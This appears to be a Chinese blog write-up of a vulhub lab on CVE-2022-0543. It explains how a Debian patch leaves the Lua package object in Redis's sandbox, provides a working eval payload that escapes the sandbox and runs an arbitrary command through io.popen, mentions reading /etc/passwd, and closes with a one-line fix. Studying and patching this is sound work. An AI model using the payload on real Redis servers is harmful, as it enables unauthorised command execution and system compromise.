vulhub之redis篇

CVE-2022-0543 | redis的远程代码执行漏洞

简介

复制代码
CVE-2022-0543 该 Redis 沙盒逃逸漏洞影响 Debian 系的 Linux 发行版本,并非 Redis 本身漏洞, 漏洞形成原因在于系统补丁加载了一些redis源码注释了的代码

原理分析

复制代码
redis一直有一个攻击面,就是在用户连接redis后,可以通过eval命令执行lua脚本.但这个脚本跑在沙箱里,正常情况下无法执行命令,读取文件 所以这个CVE本质是一个沙箱绕过漏洞

Ubuntu/Debian/CentOS等这些发行版本会在原始软件的基础上打一些补丁包给Redis打了一个的补丁,增加了一个include, 下面是Debian通过shell使用make生成补丁包的源码 :

复制代码
debian/lua_libs_debian.c:
    echo "// Automatically generated; do not edit." >$@
    echo "luaLoadLib(lua, LUA_LOADLIBNAME, luaopen_package);" >>$@
    set -e; for X in $(LUA_LIBS_DEBIAN_NAMES); do \
        echo "if (luaL_dostring(lua, \"$$X = require('$$X');\"))" >>$@; \
        echo "    serverLog(LL_NOTICE, \"Error loading $$X library\");" >>$@; \
    done
    echo 'luaL_dostring(lua, "module = nil; require = nil;");' >>$@

luaLoadLib(lua, LUA_LOADLIBNAME, luaopen_package)就是漏洞的来源,。

这段代码原本在redis源码里已经是被注释了的, 将其注释掉的原因就是"for sandboxing concerns"

Debian的这个补丁却把这句话重新写进去了, 导致在 Lua 沙箱中遗留了一个对象package,攻击者可以利用这个package对象提供的方法加载动态链接库 liblua 里的函数,进而逃逸沙箱执行任意命令

借助 Lua 沙箱中遗留的变量package的loadlib函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0里的导出函数luaopen_io。在 Lua 中执行这个导出函数,即可获得io库,再使用其执行命令。

需要注意的一点是 : 不同系统下liblua5.1.so.0的路径可能不同

我们可以利用这个模块,来加载任意Lua库,最终逃逸沙箱,执行任意命令:

复制代码
local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io");
local io = io_l();
local f = io.popen("id", "r");
local res = f:read("*a");
f:close();
return res

Payload: (执行命令id可以改变)

复制代码
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

一、环境启动

二、直接通过redis-cli -h 127.0.0.1 -p 6379 进入redis里面进行测试

可见执行了tac /etc/passwd命令

三、漏洞修复建议

Lua 初始化的末尾添加package=nil

相关推荐
奔跑吧邓邓子14 小时前
【Java实战㉖】深入Java单元测试:JUnit 5实战指南
java·junit·单元测试·实战·junit5
A尘埃4 天前
缓存工具服务(封装缓存击穿+缓存穿透+缓存雪崩)
缓存·junit·缓存工具类封装
夜猫逐梦4 天前
【lua】Lua 入门教程:从环境搭建到基础编程
junit
斯普信专业组8 天前
Fluent Bit系列:字符集转码测试(上)
junit·fluent bit
大得3699 天前
nginx结合lua做转发,负载均衡
nginx·junit·lua
lizz3113 天前
从 JUnit 深入理解 Java 注解与反射机制
java·开发语言·junit
C语言不精13 天前
合宙780E开发学习-Lua语法学习
学习·junit·lua
Warren9814 天前
Spring Boot 拦截器返回中文乱码的解决方案(附全局优化思路)
java·网络·spring boot·redis·后端·junit·lua
陈天cjq21 天前
Redis 实用型限流与延时队列:从 Lua 固定/滑动窗口到 Streams 消费组(含脚本与压测)
redis·junit·lua
Warren9821 天前
Lua 脚本在 Redis 中的应用
java·前端·网络·vue.js·redis·junit·lua